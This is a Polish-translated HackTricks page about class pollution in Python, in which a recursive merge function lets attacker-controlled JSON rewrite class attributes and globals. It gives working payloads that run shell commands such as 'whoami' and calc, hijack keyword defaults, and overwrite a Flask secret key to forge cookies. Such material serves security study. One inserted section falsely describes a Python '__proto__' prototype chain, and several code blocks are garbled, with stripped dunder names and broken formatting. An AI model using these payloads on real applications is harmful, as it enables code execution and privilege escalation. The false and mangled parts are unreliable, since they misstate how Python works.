Class Pollution (Python's Prototype Pollution)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowy przykład

Sprawdź, jak możliwe jest zanieczyszczenie klas obiektów za pomocą ciągów znaków:

class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

Podstawowy przykład podatności

Consider the following Python code:

Rozważ następujący kod Pythona:

class Person:
    def __init__(self, name):
        self.name = name

person = Person("Alice")
print(person.name)

This code defines a Person class with a constructor that takes a name parameter and assigns it to the name attribute of the object. An instance of the Person class is created with the name "Alice" and the name attribute is printed.

Ten kod definiuje klasę Person z konstruktorem, który przyjmuje parametr name i przypisuje go do atrybutu name obiektu. Tworzony jest egzemplarz klasy Person o nazwie "Alice", a następnie drukowany jest atrybut name.

Now, let's say an attacker can control the name parameter passed to the constructor:

Teraz, załóżmy, że atakujący może kontrolować parametr name przekazywany do konstruktora:

class Person:
    def __init__(self, name):
        self.name = name

person = Person("__proto__")
print(person.name)

In this modified code, the name parameter passed to the constructor is __proto__. This is a special value in Python that can be used to modify the behavior of objects. When the name attribute is accessed, it will actually look for a property named name in the object's prototype chain.

W tym zmodyfikowanym kodzie parametr name przekazywany do konstruktora to __proto__. Jest to specjalna wartość w Pythonie, która może być używana do modyfikowania zachowania obiektów. Gdy dostępny jest atrybut name, faktycznie poszukiwane jest właściwości o nazwie name w łańcuchu prototypów obiektu.

An attacker can take advantage of this behavior to pollute the prototype of the Person class and modify its behavior:

Atakujący może wykorzystać to zachowanie, aby zanieczyścić prototyp klasy Person i zmienić jej zachowanie:

class Person:
    def __init__(self, name):
        self.name = name

person = Person("__proto__")
Person.__proto__.leak = lambda self: print("Leaked!")
person.leak()

In this example, the attacker sets the leak property on the __proto__ object of the Person class. This property is a lambda function that prints "Leaked!". When the leak method is called on the person object, it will execute the lambda function and print the message.

W tym przykładzie atakujący ustawia właściwość leak na obiekcie __proto__ klasy Person. Ta właściwość jest funkcją lambda, która drukuje "Leaked!". Gdy metoda leak jest wywoływana na obiekcie person, zostanie wykonana funkcja lambda i wydrukowany zostanie komunikat.

This is a basic example of class pollution, where an attacker can modify the behavior of a class by polluting its prototype. Class pollution can lead to various security vulnerabilities, such as code execution, information leakage, or privilege escalation.

To jest podstawowy przykład zanieczyszczenia klasy, w którym atakujący może zmodyfikować zachowanie klasy poprzez zanieczyszczenie jej prototypu. Zanieczyszczenie klasy może prowadzić do różnych podatności bezpieczeństwa, takich jak wykonanie kodu, wyciek informacji lub eskalacja uprawnień.

# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Przykłady narzędzi

Tworzenie domyślnej wartości właściwości klasy do RCE (subprocess)

```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }

recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"

Create default value for Employee.custom_command

merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"

</details>

<details>

<summary>Zanieczyszczanie innych klas i zmiennych globalnych za pomocą <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Arbitraryzne wykonanie podprocesu

```python import subprocess, json

class Employee: def init(self): pass

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

Overwrite env var "COMSPEC" to execute a calc

USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up

</details>

<details>

<summary>Nadpisywanie <strong><code>__kwdefaults__</code></strong></summary>

**`__kwdefaults__`** to specjalny atrybut wszystkich funkcji, zgodnie z [dokumentacją](https://docs.python.org/3/library/inspect.html) Pythona, jest to "mapowanie domyślnych wartości dla parametrów **tylko-kluczowych**". Zanieczyszczanie tego atrybutu pozwala nam kontrolować domyślne wartości parametrów tylko-kluczowych funkcji, które są parametrami funkcji po \* lub \*args.
```python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Nadpisywanie tajemnicy Flask w różnych plikach

Więc jeśli możesz przeprowadzić zanieczyszczenie klasy nad obiektem zdefiniowanym w głównym pliku Pythona strony internetowej, którego klasa jest zdefiniowana w innym pliku niż główny. Ponieważ w celu uzyskania dostępu do __globals__ w poprzednich payloadach musisz uzyskać dostęp do klasy obiektu lub metod klasy, będziesz mógł uzyskać dostęp do globalnych z tego pliku, ale nie z głównego. Dlatego nie będziesz w stanie uzyskać dostępu do globalnego obiektu aplikacji Flask, który zdefiniował klucz tajny na stronie głównej:

app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

W tym scenariuszu potrzebujesz gadżetu do przeglądania plików, aby dotrzeć do głównego pliku i uzyskać dostęp do globalnego obiektu app.secret_key w celu zmiany tajnego klucza Flask i możliwości zwiększenia uprawnień, znając ten klucz.

Payload taki jak ten z tego opisu:

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

Użyj tego payloadu, aby zmienić app.secret_key (nazwa w Twojej aplikacji może być inna), aby móc podpisywać nowe i bardziej uprzywilejowane ciasteczka flask.

Sprawdź również następującą stronę, aby uzyskać więcej tylko do odczytu gadżetów:

pagePython Internal Read Gadgets

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated